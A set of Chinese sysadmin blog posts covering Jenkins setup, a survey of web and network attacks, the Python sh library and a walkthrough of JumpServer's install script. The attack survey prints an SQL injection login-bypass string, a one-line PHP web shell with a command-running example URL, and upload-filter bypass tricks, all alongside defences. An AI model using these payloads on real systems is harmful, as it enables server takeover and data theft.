CICD是什么CI/CD这个词听起来很高大上，其实说白了就是让代码从开发到上线这个过程变得自动化。CI是Continuous Integration的缩写，中文叫持续集成。简单理解就是，开发人员每次提交代码后，系统会自动把所有人的代码合并在一起，然后跑一遍测试，看看有没有冲突或者bug。就像搭积木一样，每加一块都要检查一下整体结构是不是还稳固。CD有两个意思，一个是Continuous Delivery（持续交付），另一个是Continuous Deployment（持续部署）。持续交付是说代码随时都处于可发布状态，就像工厂流水线上的产品，每个环节都质检过了，随时可以出厂。持续部署更进一步，直接自动发布到生产环境，完全不需要人工干预。举个例子，以前我们部署一个网站，可能需要手动上传文件、重启服务、清缓存等等，一套流程下来半小时，还容易出错。有了CI/CD之后，开发人员只要把代码推送到Git仓库，剩下的事情全部自动完成：自动测试、自动打包、自动部署、自动重启服务，几分钟就搞定了。CI/CD的核心思想就是"小步快跑，快速反馈"。与其攒一堆功能一次性发布（风险大），不如每个小功能都快速上线，出问题也能快速定位和修复。这样既提高了开发效率，又降低了上线风险，是现代软件开发的标配。为什么选择Jenkins官方文档：https://www.jenkins.io/zh/doc/book/installing/说实话，CI/CD工具现在选择挺多的，GitLab CI、GitHub Actions、Azure DevOps什么的都不错。但是我最终还是选择了Jenkins，主要原因有几个：Jenkins的插件生态真的很丰富，基本上你能想到的功能都有对应的插件。而且它是开源的，不用担心费用问题。最重要的是，Jenkins对PHP项目的支持很好，配置起来也比较灵活。当然了，Jenkins也有它的缺点，比如界面看起来有点老旧，配置相对复杂一些。不过习惯了就好，功能强大才是硬道理。环境准备和Jenkins安装我们的服务器环境是debain13。Jenkins可以用Docker来部署，这样比较干净，也方便管理。docker run \ -u root \ --rm \ -d \ -p 8080:8080 \ -p 50000:50000 \ -v jenkins-data:/var/jenkins_home \ -v /var/run/docker.sock:/var/run/docker.sock \ jenkinsci/blueocean开始下载我镜像一直下载失败，换了直接用软件包安装（记得安装java环境），文档地址：https://www.jenkins.io/zh/doc/book/installing/#war%E6%96%87%E4%BB%B6wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add - sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list' sudo apt-get update sudo apt-get install jenkins启动后访问http://your-server:8080，按照提示完成初始化配置。初始密码在容器日志里能找到：必要插件安装Jenkins装好后，需要安装一些必要的插件。进入"系统管理" -> "插件管理"，安装以下插件（这些插件记得装！！！）：Git plugin（代码拉取）Pipeline（流水线支持）Blue Ocean（更好看的界面）Publish Over SSH（SSH部署）Build Timestamp（构建时间戳）Email Extension（邮件通知）插件安装完成后记得重启Jenkins。有时候插件之间会有依赖关系，Jenkins会自动帮你安装依赖的插件，这点还是很贴心的。配置Git仓库连接我们的代码托管在GitLab上，需要配置Jenkins能够拉取代码。在"系统管理" -> "全局工具配置"中配置Git路径，一般Jenkins会自动检测到。然后在"系统管理" -> "系统配置"中添加Git凭据。我建议使用SSH密钥的方式，比较安全：# 在Jenkins服务器上生成SSH密钥 ssh-keygen -t rsa -b 4096 -C "jenkins@yourcompany.com" # 将公钥添加到GitLab的Deploy Keys中 cat ~/.ssh/id_rsa.pub把私钥内容添加到Jenkins的凭据管理中，类型选择"SSH Username with private key"。创建第一个Pipeline任务选择测试hello world点击立即构建，构建完成写在最后jenkins的搭建就讲完了，没什么技术含量。照着文档做就行了，要注意的是软件包和网络环境的问题。目前遇到的问题丢给ai都可以很好的解决！（学会用ai很重要！！！），下一期来讲讲jenkins如何来实现php环境的cicd（主要是我博客用的是php哈哈哈）好了，今天的分享就到这里。如果这篇文章对你有帮助，别忘了点个赞、转发给需要的朋友。想了解更多运维实战经验，记得关注@运维躬行录，我会持续分享一线的技术实践和踩坑经验。让我们一起在运维的路上越走越远！个人博客：https://www.fuzhoupyy.work
网络攻击套路大揭秘！这些年我见过的各种"妖魔鬼怪"
做运维这么多年，我算是见识过各种各样的网络攻击了。从最初的懵懵懂懂被攻击搞得焦头烂额，到现在能够淡定应对各种攻击手段，这中间踩过的坑真的是数不胜数。前几天有个粉丝朋友问我，现在网络攻击都有哪些类型，怎么防护？我想了想，确实有必要系统地梳理一下这些年遇到过的各种攻击手段。毕竟知己知彼，才能百战不殆嘛。今天就跟大家聊聊我这些年见过的各种网络攻击，从技术原理到防护方法，希望能帮到正在被攻击困扰的兄弟们。SQL注入攻击 - 数据库的噩梦说到网络攻击，SQL注入绝对是我遇到最多的一种。这玩意儿简直就是Web应用的头号杀手。攻击原理SQL注入的原理其实不复杂，就是利用应用程序对用户输入过滤不严，在数据库查询中插入恶意SQL代码。我记得刚工作那会儿，维护过一个老系统，登录页面的代码是这样写的：SELECT * FROM users WHERE username='$username' AND password='$password'看起来没问题对吧？但如果用户在用户名框里输入：admin' OR '1'='1' --那么实际执行的SQL就变成了：SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='xxx'由于'1'='1'永远为真，而--会注释掉后面的密码验证，攻击者就能直接以admin身份登录了。常见的注入类型这些年我见过的SQL注入攻击大概有这几种：联合查询注入：通过UNION语句获取其他表的数据。我处理过一个案例，攻击者通过这种方式把整个用户表都下载走了，包括密码哈希。布尔盲注：通过构造真假条件来逐个猜测数据库内容。这种攻击比较隐蔽，日志里看起来都是正常请求，但实际上在一点点窃取数据。时间盲注：利用数据库的延时函数，通过响应时间来判断条件真假。我见过攻击者用这种方法花了几个小时把管理员密码给猜出来的。报错注入：故意触发数据库错误，从错误信息中获取敏感数据。有些开发为了调试方便，会把详细的错误信息显示给用户，这就给了攻击者可乘之机。防护措施防护SQL注入其实也不难，关键是要养成好习惯：参数化查询：这是最有效的防护方法。使用预编译语句，把SQL代码和数据分离。现在主流的开发框架都支持这个功能。输入验证：对所有用户输入进行严格验证，过滤掉危险字符。不过这个方法容易被绕过，不能作为唯一的防护手段。最小权限原则：数据库用户只给必要的权限，不要用root或sa这种超级用户来连接数据库。WAF防护：部署Web应用防火墙，可以识别和阻断大部分SQL注入攻击。我现在维护的系统都强制使用ORM框架，基本杜绝了SQL注入的可能性。虽然性能会有一点影响，但安全性大大提升了。XSS攻击 - 浏览器里的陷阱跨站脚本攻击（XSS）是另一个让我头疼的问题，特别是在处理用户生成内容的网站时。攻击原理XSS攻击的核心是在网页中插入恶意脚本，当其他用户访问时，这些脚本就会在他们的浏览器中执行。我印象最深的一次XSS攻击发生在一个论坛网站。攻击者在帖子里插入了这样的代码： 结果所有查看这个帖子的用户，他们的Cookie都被发送到了攻击者的服务器上。攻击者拿到Cookie后，就能冒充这些用户登录网站了。XSS的分类根据我的经验，XSS攻击主要分为三种：反射型XSS：恶意脚本通过URL参数传递，服务器直接把参数内容输出到页面上。这种攻击需要诱骗用户点击特制的链接。存储型XSS：恶意脚本被保存在服务器上（比如数据库），每次有用户访问相关页面时都会执行。这种危害最大，因为影响面广。DOM型XSS：攻击发生在客户端，通过修改页面的DOM结构来执行恶意脚本。这种攻击比较隐蔽，服务器端很难检测到。实际案例我处理过一个比较典型的存储型XSS案例。那是一个电商网站的商品评论功能，攻击者在评论中插入了恶意脚本： 这段代码看起来像是一个破损的图片，但实际上会执行JavaScript代码，把用户的Cookie编码后发送给攻击者。更可怕的是，攻击者还在脚本中加入了蠕虫功能，被感染的用户会自动发布包含恶意脚本的评论，导致攻击快速传播。防护策略防护XSS攻击需要多管齐下：输出编码：对所有输出到HTML页面的内容进行编码，把<、>、"等特殊字符转换成HTML实体。输入过滤：对用户输入进行过滤，移除或转义危险的HTML标签和JavaScript代码。CSP策略：配置内容安全策略（Content Security Policy），限制页面可以加载的资源来源。HttpOnly Cookie：设置Cookie的HttpOnly属性，防止JavaScript访问Cookie。我现在管理的网站都部署了严格的XSS防护策略，用户输入的任何内容都会经过多层过滤和编码。虽然偶尔会误杀一些正常内容，但总比被攻击强。CSRF攻击 - 身份冒用的艺术跨站请求伪造（CSRF）是一种比较隐蔽的攻击方式，很多开发者都容易忽视这个问题。攻击机制CSRF攻击利用用户已经登录的身份，诱骗用户在不知情的情况下执行某些操作。我遇到过一个经典的CSRF攻击案例。攻击者制作了一个看似无害的网页，里面包含了这样的代码： 当已经登录网银的用户访问这个页面时，浏览器会自动发送转账请求，而银行服务器看到的是一个"正常"的已认证用户发起的请求。攻击场景CSRF攻击在以下场景特别危险：金融操作：转账、支付、修改密码等敏感操作账户管理：修改个人信息、删除数据等社交功能：发帖、评论、关注等操作我见过最狠的一次CSRF攻击，攻击者通过邮件发送了一个"中奖通知"页面，里面暗藏了修改用户邮箱地址的请求。很多用户在不知情的情况下把邮箱改成了攻击者的，然后攻击者就能通过"忘记密码"功能重置用户密码了。防护方法防护CSRF攻击有几种有效方法：CSRF Token：在表单中加入随机生成的token，服务器验证token的有效性。这是最常用也是最有效的方法。验证Referer：检查请求的来源页面，拒绝来自外部网站的请求。不过这个方法不够可靠，因为Referer可能被伪造或者被代理服务器过滤掉。双重Cookie验证：在Cookie和请求参数中都包含相同的随机值，服务器验证两者是否一致。验证码：对于敏感操作，要求用户输入验证码。这个方法最安全，但用户体验不好。我现在负责的系统对所有状态改变的操作都使用了CSRF Token保护，同时对转账、修改密码等高风险操作还加了短信验证码。文件上传漏洞 - 服务器的后门文件上传功能几乎每个网站都有，但如果处理不当，就可能成为攻击者的突破口。攻击原理文件上传漏洞的核心是攻击者上传恶意文件到服务器，然后通过访问这些文件来执行恶意代码。我处理过一个典型的案例，网站有个头像上传功能，只是简单地检查了文件扩展名。攻击者上传了一个名为avatar.php的文件，内容是：<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>然后通过访问http://website.com/uploads/avatar.php?cmd=ls就能执行系统命令了。更可怕的是，攻击者还能通过这个后门上传更多的恶意文件，完全控制服务器。绕过技巧攻击者为了绕过文件上传限制，会使用各种技巧：双重扩展名：上传shell.php.jpg这样的文件，某些服务器配置下会按照.php来解析。大小写绕过：上传shell.PHP或shell.Php，利用大小写不敏感的特性。空字节截断：在文件名中插入空字节，如shell.php%00.jpg，某些语言会在空字节处截断文件名。MIME类型伪造：修改HTTP请求中的Content-Type，让恶意文件看起来像图片。文件内容伪造：在PHP代码前面加上GIF文件头，绕过文件内容检测。防护措施防护文件上传漏洞需要多层验证：白名单验证：只允许特定类型的文件上传，比如只允许jpg、png、gif等图片格式。文件内容检测：不仅检查扩展名，还要检查文件的实际内容和文件头。重命名文件：上传后重新命名文件，使用随机生成的文件名，避免攻击者直接访问。隔离执行：把上传的文件存储在无法执行脚本的目录中，或者使用独立的文件服务器。大小限制：限制上传文件的大小，防止攻击者上传大文件消耗服务器资源。我现在管理的系统对所有上传文件都会进行病毒扫描，同时使用云存储服务来隔离文件，基本杜绝了通过文件上传攻击服务器的可能性。暴力破解攻击 - 最原始但有效的方法虽然暴力破解听起来很原始，但在实际攻击中仍然非常常见和有效。攻击方式暴力破解主要有几种形式：密码暴力破解：使用字典或者穷举法尝试各种密码组合。我见过攻击者用常见密码字典攻击SSH服务，成功率还挺高的。验证码暴力破解：对于数字验证码，攻击者可能会尝试所有可能的组合。API接口暴力破解：针对登录接口、重置密码接口等进行大量尝试。实际案例我印象最深的一次暴力破解攻击发生在一个企业内网。攻击者通过某种方式获得了内网访问权限，然后对所有服务器的SSH端口进行暴力破解。那次攻击持续了好几天，攻击者使用了一个包含几万个常见密码的字典，对每台服务器都尝试了admin、root、test等常见用户名。最终成功破解了几台使用弱密码的服务器。更可怕的是，攻击者还会根据企业信息定制密码字典，比如使用公司名称、员工姓名、重要日期等作为密码尝试。这种针对性的攻击成功率往往更高。我还遇到过一种比较狡猾的暴力破解方式，攻击者会先收集目标网站的用户名列表，然后使用分布式的方式进行攻击。每个IP只尝试少量密码，避免触发账户锁定机制，但整体攻击规模很大。防护策略防护暴力破解有很多成熟的方法：账户锁定策略：连续失败几次后锁定账户一段时间。不过要注意设置合理的锁定时间，避免被攻击者利用来进行拒绝服务攻击。验证码机制：在登录页面加入图形验证码或者滑动验证码，增加自动化攻击的成本。IP限制：限制单个IP的登录尝试频率，超过阈值就临时封禁。我一般设置为每分钟最多5次尝试。强密码策略：强制用户使用复杂密码，包含大小写字母、数字和特殊字符。双因素认证：即使密码被破解，攻击者也需要第二个认证因子才能登录。我现在管理的所有系统都部署了fail2ban，会自动分析日志文件，发现暴力破解行为就立即封禁攻击IP。效果还不错，基本上能阻止90%以上的暴力破解攻击。钓鱼攻击 - 社会工程学的经典应用钓鱼攻击虽然技术含量不高，但在实际攻击中的成功率却很高，因为它直接针对人性的弱点。攻击手法钓鱼攻击的形式多种多样：邮件钓鱼：伪造银行、电商平台等官方邮件，诱导用户点击恶意链接。短信钓鱼：通过短信发送虚假中奖、账户异常等信息。网站钓鱼：制作高仿真的假网站，骗取用户账号密码。社交媒体钓鱼：在微信、QQ等平台上冒充熟人进行诈骗。真实案例我处理过一个比较典型的钓鱼攻击事件。攻击者注册了一个和某知名银行非常相似的域名，比如把icbc.com.cn改成icbc-online.com，然后完全仿制了银行的官方网站。攻击者通过邮件群发"安全升级通知"，声称用户需要重新验证身份信息，否则账户会被冻结。邮件制作得非常精美，包含了银行的logo、官方语调，甚至连邮件签名都一模一样。很多用户没有仔细看域名就点击了链接，在假网站上输入了银行卡号、密码、手机验证码等信息。更狡猾的是，假网站在收集完信息后还会跳转到真正的银行网站，让用户以为只是网络延迟，不会产生怀疑。我还见过针对企业的定向钓鱼攻击。攻击者会先收集企业员工的邮箱地址和社交信息，然后冒充CEO或者HR发送邮件，要求员工提供某些敏感信息或者点击恶意链接。这种攻击的成功率特别高，因为员工很难怀疑"领导"的邮件。识别技巧识别钓鱼攻击有几个关键点：仔细检查域名：正规网站的域名都是固定的，要注意拼写错误或者多余字符。查看SSL证书：点击浏览器地址栏的锁图标，查看证书信息。验证发送者身份：对于可疑邮件，可以通过其他渠道联系发送方确认。不要点击邮件中的链接：对于敏感操作，最好直接在浏览器中输入官方网址。防护建议防护钓鱼攻击主要靠提高安全意识：员工培训：定期进行安全意识培训，让大家了解钓鱼攻击的常见套路。邮件安全网关：部署邮件过滤系统，自动识别和拦截钓鱼邮件。DNS防护：使用安全DNS服务，阻止访问已知的钓鱼网站。多因素认证：即使密码被盗，攻击者也难以完成登录。我们公司现在每个季度都会进行钓鱼攻击演练，给员工发送模拟的钓鱼邮件，测试大家的安全意识。刚开始点击率有30%多，现在已经降到5%以下了。中间人攻击 - 通信链路上的窃听者中间人攻击（MITM）是一种比较高级的攻击手法，攻击者悄悄插入到通信双方之间，窃听甚至篡改通信内容。攻击原理中间人攻击的核心是让攻击者成为通信链路中的一环：ARP欺骗：在局域网中伪造ARP响应，让数据包经过攻击者的机器。DNS劫持：篡改DNS响应，让用户访问攻击者控制的服务器。恶意WiFi热点：搭建假的WiFi热点，诱导用户连接。SSL剥离：强制用户使用HTTP连接，去除加密保护。实际案例我遇到过一个在咖啡厅发生的中间人攻击。攻击者搭建了一个名为"Free_WiFi"的热点，信号很强，很多顾客都连接了这个网络。攻击者在这个网络中部署了中间人攻击工具，能够看到所有用户的网络流量。对于使用HTTP的网站，攻击者甚至能看到用户输入的账号密码。更可怕的是，攻击者还会在用户访问的网页中注入广告或者恶意脚本。我还处理过一个企业内网的ARP欺骗案例。攻击者首先通过钓鱼邮件感染了一台内网机器，然后利用这台机器对整个网段进行ARP欺骗，窃听其他机器的网络通信。通过这种方式，攻击者获得了大量内部邮件和文档。防护措施防护中间人攻击需要从多个层面入手：使用HTTPS：确保敏感通信都使用SSL/TLS加密，即使被窃听也无法解密内容。证书验证：不要忽略浏览器的证书警告，遇到证书异常要格外小心。VPN保护：在不可信网络中使用VPN，为通信增加一层加密保护。网络监控：部署网络监控工具，及时发现ARP欺骗等异常行为。静态ARP绑定：在关键服务器上配置静态ARP表，防止ARP欺骗。我现在出差时从来不连接公共WiFi进行敏感操作，都是用手机热点或者公司VPN。虽然流量费贵一点，但安全性大大提升了。内网渗透 - 从外到内的攻击链内网渗透是APT攻击的典型手法，攻击者通过各种方式获得内网立足点后，逐步扩大攻击范围。攻击流程典型的内网渗透包括几个阶段：初始入侵：通过钓鱼邮件、漏洞利用等方式获得第一个立足点。信息收集：扫描内网结构，收集用户信息、系统配置等。权限提升：利用系统漏洞或配置错误获得更高权限。横向移动：在内网中寻找其他可攻击目标，扩大控制范围。持久化：建立多个持久访问通道，确保不被轻易清除。目标达成：窃取敏感数据或进行其他恶意活动。常用技术内网渗透中经常用到的技术：凭据窃取：从内存、注册表、浏览器等位置窃取用户凭据。Pass-the-Hash：使用窃取的密码哈希直接进行身份认证。Kerberos攻击：利用域认证协议的设计缺陷，比如黄金票据攻击。WMI滥用：使用Windows管理工具进行远程命令执行。PowerShell攻击：利用系统自带工具进行无文件攻击，难以被检测。云安全威胁 - 新环境的挑战云计算普及带来便利，也带来了新的安全挑战。主要威胁云环境面临的威胁包括：配置错误：云服务配置不当导致数据泄露，这是最常见的问题。身份管理：云环境下的认证和权限管理更复杂。数据泄露：云存储中的敏感数据可能被未授权访问。API安全：云服务API的漏洞可能被利用。供应链风险：云服务商的问题可能影响所有用户。我见过很多因为云存储配置错误导致的数据泄露，比如把AWS S3设置为公开访问，结果用户信息全部泄露。防护策略云安全防护需要：正确配置：仔细配置云服务安全设置。访问控制：实施严格的身份认证和权限控制。数据加密：对云端敏感数据进行加密。持续监控：实时监控云环境安全状态。合规管理：确保符合相关法规要求。最后网络安全是一个持续对抗的过程，攻击手段在不断演进，防护技术也要跟上节奏。作为运维人员，我们需要保持学习的心态，及时了解新的威胁和防护方法。最重要的是要建立安全意识，很多攻击其实都是可以预防的，关键在于是否重视和是否采取了正确的防护措施。希望这篇文章能帮助大家更好地了解网络攻击，做好安全防护工作。网络安全没有银弹，需要我们持续投入和改进。只有这样，才能在这个充满威胁的数字世界中保护好我们的系统和数据。如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记
Python sh库：让运维脚本告别subprocess的痛苦，一行代码搞定系统命令
最近在整理服务器监控脚本的时候，发现自己写的代码里到处都是subprocess.Popen()，看着就头疼。想起刚入行那会儿，为了执行个简单的ls命令，愣是写了十几行代码处理各种异常和输出，现在想想真是太蠢了。直到遇到了Python的sh库，我才发现原来执行系统命令可以这么优雅。今天就来聊聊这个让我爱不释手的库，相信看完之后你也会和我一样，再也不想碰subprocess了。为什么我会选择sh库说实话，Python标准库里的subprocess功能很强大，但用起来真的很繁琐。每次想执行个简单命令都要考虑一堆问题：怎么获取输出？怎么处理错误？怎么传参数？import subprocess # 传统的subprocess写法，光看着就累 result = subprocess.run(['ls', '-la'], capture_output=True, text=True, check=True) print(result.stdout)而用sh库呢？import sh print(sh.ls('-la'))就这么简单！一行代码搞定，看着就舒服多了。sh库的安装和基本使用安装很简单，pip一下就行：pip install sh基本使用更简单，直接把系统命令当成Python函数调用就可以了：import sh # 执行ls命令 print(sh.ls()) # 带参数的命令 print(sh.ls('-la', '/home')) # 管道操作也很简单 print(sh.grep(sh.ps('aux'), 'python'))我第一次看到这种写法的时候，真的被震撼到了。这不就是我一直想要的那种简洁的方式吗？实际项目中的应用场景在我日常运维中，sh库真的帮了大忙。比如说服务器健康检查脚本：import sh from datetime import datetime def check_server_status(): # 检查磁盘使用情况 disk_usage = sh.df('-h') print(f"磁盘使用情况：\n{disk_usage}") # 检查内存使用 memory_info = sh.free('-h') print(f"内存使用情况：\n{memory_info}") # 检查CPU负载 load_avg = sh.uptime() print(f"系统负载：{load_avg}") # 检查特定进程 try: nginx_processes = sh.pgrep('nginx') print(f"Nginx进程数：{len(nginx_processes.strip().split())}") except sh.ErrorReturnCode_1: print("警告：Nginx进程未运行！")这种写法比subprocess清爽太多了，而且代码可读性特别好。处理命令输出和错误sh库在处理命令输出方面也很贴心：import sh # 获取命令输出 output = sh.ls('/home') print(type(output)) # <class 'sh.RunningCommand'> print(str(output)) # 转换为字符串 # 实时处理输出 def process_line(line): print(f"处理行: {line.strip()}") sh.tail('-f', '/var/log/syslog', _out=process_line)错误处理也很直观：import sh try: # 执行可能失败的命令 result = sh.ls('/nonexistent') except sh.ErrorReturnCode_2 as e: print(f"命令执行失败: {e}") print(f"错误输出: {e.stderr}") print(f"标准输出: {e.stdout}") print(f"退出码: {e.exit_code}")高级功能：管道和重定向sh库对管道的支持让我印象深刻，写起来就像在shell里一样自然：import sh # 管道操作 result = sh.ps('aux') | sh.grep('python') | sh.wc('-l') print(f"Python进程数量: {result}") # 更复杂的管道 log_errors = sh.tail('-n', '1000', '/var/log/app.log') | sh.grep('ERROR') print(log_errors) # 重定向到文件 sh.dmesg(_out='/tmp/dmesg.log') # 从文件读取输入 sh.sort(_in='/tmp/unsorted.txt', _out='/tmp/sorted.txt')这种写法真的很接近shell脚本的感觉，但又保持了Python的灵活性。在自动化部署中的应用我们团队的自动化部署脚本大量使用了sh库，效果很不错：import sh import os def deploy_application(app_name, version): print(f"开始部署 {app_name} 版本 {version}") # 停止服务 try: sh.systemctl('stop', app_name) print("服务已停止") except sh.ErrorReturnCode: print("服务停止失败，继续部署...") # 备份当前版本 backup_dir = f"/backup/{app_name}-{datetime.now().strftime('%Y%m%d_%H%M%S')}" sh.mkdir('-p', backup_dir) sh.cp('-r', f'/opt/{app_name}', backup_dir) print(f"已备份到 {backup_dir}") # 下载新版本 download_url = f"https://releases.example.com/{app_name}-{version}.tar.gz" sh.wget(download_url, '-O', f'/tmp/{app_name}-{version}.tar.gz') # 解压和部署 sh.tar('-xzf', f'/tmp/{app_name}-{version}.tar.gz', '-C', '/opt/') # 更新配置文件权限 sh.chown('-R', 'app:app', f'/opt/{app_name}') sh.chmod('-R', '755', f'/opt/{app_name}') # 启动服务 sh.systemctl('start', app_name) sh.systemctl('enable', app_name) # 验证部署 try: status = sh.systemctl('is-active', app_name) if 'active' in str(status): print("部署成功！") else: print("部署可能有问题，请检查服务状态") except sh.ErrorReturnCode: print("服务启动失败！")日志分析的实际应用在日志分析方面，sh库也表现得很出色（看看就行，都用python了，谁还这样分析呀！！！）：import sh from collections import defaultdict import re def analyze_nginx_logs(log_file): # 分析访问最多的IP top_ips = sh.awk('{print $1}', log_file) | sh.sort() | sh.uniq('-c') | sh.sort('-nr') | sh.head('-10') print("访问最多的IP地址：") print(top_ips) # 分析状态码分布 status_codes = sh.awk('{print $9}', log_file) | sh.sort() | sh.uniq('-c') print("\n状态码分布：") print(status_codes) # 分析最耗时的请求 slow_requests = sh.awk('$NF > 1.0 {print $0}', log_file) | sh.sort('-k11', '-nr') | sh.head('-20') print("\n响应时间超过1秒的请求：") print(slow_requests) # 统计每小时的请求量 hourly_stats = sh.awk('{print $4}', log_file) | sh.cut('-c14-15') | sh.sort() | sh.uniq('-c') print("\n每小时请求量统计：") print(hourly_stats) # 使用示例 analyze_nginx_logs('/var/log/nginx/access.log')需要注意的坑参数传递的问题import sh # 错误的写法 # sh.find('/home -name "*.log"') # 这样会报错 # 正确的写法 sh.find('/home', '-name', '*.log') # 或者使用关键字参数 sh.find('/home', name='*.log')处理包含空格的路径import sh # 包含空格的路径需要特别处理 path_with_spaces = "/home/user/my documents" sh.ls(path_with_spaces) # sh库会自动处理空格长时间运行的命令import sh # 对于长时间运行的命令，建议设置超时 try: result = sh.rsync('-av', '/source/', '/destination/', _timeout=3600) except sh.TimeoutException: print("同步超时！")与其他库的对比说实话，除了sh库，我也用过其他一些执行系统命令的库：subprocess vs shsubprocess功能更全面，但代码冗长sh库更简洁，但在某些复杂场景下可能不够灵活os.system vs shos.system太原始，不推荐在生产环境使用sh库提供了更好的错误处理和输出控制pexpect vs shpexpect适合需要交互的场景sh库更适合执行简单的系统命令在容器化环境中的应用现在容器化部署很流行，sh库在这方面也很有用：import sh def manage_containers(): # 列出所有运行中的容器 running_containers = sh.docker('ps', '--format', 'table {{.Names}}\t{{.Status}}') print("运行中的容器：") print(running_containers) # 检查容器资源使用情况 container_stats = sh.docker('stats', '--no-stream', '--format', 'table {{.Container}}\t{{.CPUPerc}}\t{{.MemUsage}}') print("\n容器资源使用情况：") print(container_stats) # 清理无用的镜像 sh.docker('image', 'prune', '-f') print("\n已清理无用镜像") manage_containers()总结说了这么多，其实sh库最大的优势就是让Python代码更接近shell脚本的直觉性，同时又保持了Python的强大功能。在我的日常工作中，它已经成为了不可或缺的工具。当然，任何工具都有其适用场景。对于简单的系统命令执行，sh库绝对是首选；但如果需要复杂的进程控制或者跨平台兼容性，可能还是需要考虑其他方案。最重要的是，在使用任何执行系统命令的库时，都要时刻注意安全性。特别是在处理用户输入或者在生产环境中运行时，一定要做好输入验证和权限控制。希望这篇文章能帮到正在为subprocess复杂语法而头疼的朋友们。如果你有什么好的使用技巧或者踩过的坑，也欢迎在评论区分享交流。毕竟，工具是为了提高效率而存在的，选择最适合自己项目需求的工具才是最重要的。sh库只是众多选择中的一个，但对于大部分运维场景来说，它确实是个很不错的选择。如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记
从JumpServer安装脚本看Shell编程：一个运维人员的实战解析
最近在部署JumpServer的时候，仔细研究了一下它的安装脚本，发现这个脚本写得还挺有意思的。作为一个天天和Shell打交道的运维，我觉得这个脚本很适合用来讲解Shell编程的一些实用技巧。说实话，很多人觉得Shell脚本就是简单的命令堆砌，但实际上一个好的Shell脚本包含了很多编程思想和最佳实践。今天就通过这个JumpServer的jmsctl.sh脚本，来聊聊Shell编程中那些值得学习的地方。脚本结构设计：模块化思维很重要看这个脚本的整体结构，我第一眼就被它的组织方式吸引了。作者把整个脚本分成了几个清晰的部分：#!/usr/bin/env bash export SHELLOPTS PROJECT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" &>/dev/null && pwd)" cd "${PROJECT_DIR}" || exit 1 . "${PROJECT_DIR}/scripts/utils.sh"这几行代码看似简单，但包含了很多门道。#!/usr/bin/env bash这个shebang比直接写#!/bin/bash要好，因为它会在PATH中查找bash，兼容性更强。export SHELLOPTS这行我之前还真没怎么用过，查了一下发现它是用来导出Shell选项的，这样在调用子脚本时能保持一致的行为。获取脚本所在目录的那行代码写得很巧妙：PROJECT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" &>/dev/null && pwd)"${BASH_SOURCE[0]}比$0更可靠，特别是在脚本被source的时候。&>/dev/null把错误输出也重定向了，避免在某些环境下出现奇怪的错误信息。参数处理：简单但实用action=${1-} target=${2-} args=("$@")这种参数处理方式很实用。${1-}的写法比直接用$1安全，当没有参数时不会报错。把所有参数存到数组里也是个好习惯，后面需要传递给其他命令时很方便。我以前写脚本经常直接用$1、$2，但在一些边界情况下容易出问题。现在我也开始用这种写法了。配置文件检查：防御性编程function check_config_file() { if [[ ! -f "${CONFIG_FILE}" ]]; then echo "$(gettext 'Configuration file not found'): ${CONFIG_FILE}" echo "$(gettext 'If you are upgrading from v1.5.x, please copy the config.txt To') ${CONFIG_FILE}" return 3 fi # ... }这个函数体现了防御性编程的思想。不仅检查配置文件是否存在，还给出了具体的解决建议。返回值用3而不是1，这样可以区分不同类型的错误。软链接的处理也很细致：if -f .env ; then if ! ls -l .env | grep "${CONFIG_FILE}" &>/dev/null; then echo ".env $(gettext 'There is a problem with the soft connection, Please update it again')" rm -f .env fi fi检查软链接是否正确指向目标文件，如果不对就重新创建。这种处理方式在实际运维中很有用，避免了因为软链接问题导致的各种奇怪错误。国际化支持：细节决定成败脚本中大量使用了$(gettext '...')来支持多语言，这个细节让我印象深刻。虽然很多人写脚本时不会考虑国际化，但对于要分发给全球用户的开源项目来说，这确实很重要。echo "$(gettext 'JumpServer Deployment Management Script')"gettext是GNU的国际化工具，通过它可以根据系统语言环境显示对应的文本。虽然在内部项目中可能用不到，但这种思维方式值得学习。帮助信息：用户体验很关键function usage() { echo "$(gettext 'JumpServer Deployment Management Script')" echo echo "Usage: " echo " ./jmsctl.sh [COMMAND] [ARGS...]" echo " ./jmsctl.sh --help" echo echo "Installation Commands: " echo " install $(gettext 'Install JumpServer')" echo " upgrade $(gettext 'Upgrade JumpServer')" # ... }这个帮助函数写得很规范，命令分类清晰，每个命令都有说明。我见过太多脚本要么没有帮助信息，要么帮助信息写得很随意。一个好的帮助信息能大大提升用户体验。服务管理：Docker Compose的封装function start() { ${EXE} up -d } function stop() { if [[ -n "${target}" ]]; then ${EXE} stop "${target}" && ${EXE} rm -f "${target}" return fi ${EXE} down -v }这里的设计很巧妙，${EXE}变量存储的是docker-compose的完整命令行，包括配置文件路径等参数。这样在各个函数中就可以直接使用，避免了重复代码。stop函数还考虑了单个服务和全部服务的不同处理方式，这种灵活性在实际使用中很有价值。错误处理：让脚本更健壮cd "${PROJECT_DIR}" || exit 1这种写法比单独的cd命令要安全得多。如果目录切换失败，脚本会立即退出，避免在错误的目录下执行后续命令。pre_check || return 3在主要操作前进行预检查，失败时返回特定的错误码。这样调用者可以根据返回值判断具体的错误类型。版本检查：自动化运维的体现function check_update() { current_version=$(get_current_version) latest_version=$(get_latest_version) if [[ "${current_version}" == "${latest_version}" ]]; then echo_green "$(gettext 'The current version is up to date'): ${latest_version}" echo return fi # ... }自动检查版本更新的功能很实用，特别是对于需要经常更新的系统。这种自动化的思维在运维工作中很重要。平台兼容性：考虑周全if [[ "${OS}" == 'Darwin' ]]; then echo echo "$(gettext 'Unsupported Operating System Error')" echo "$(gettext 'macOS installer please see'): https://github.com/jumpserver/Dockerfile" exit 0 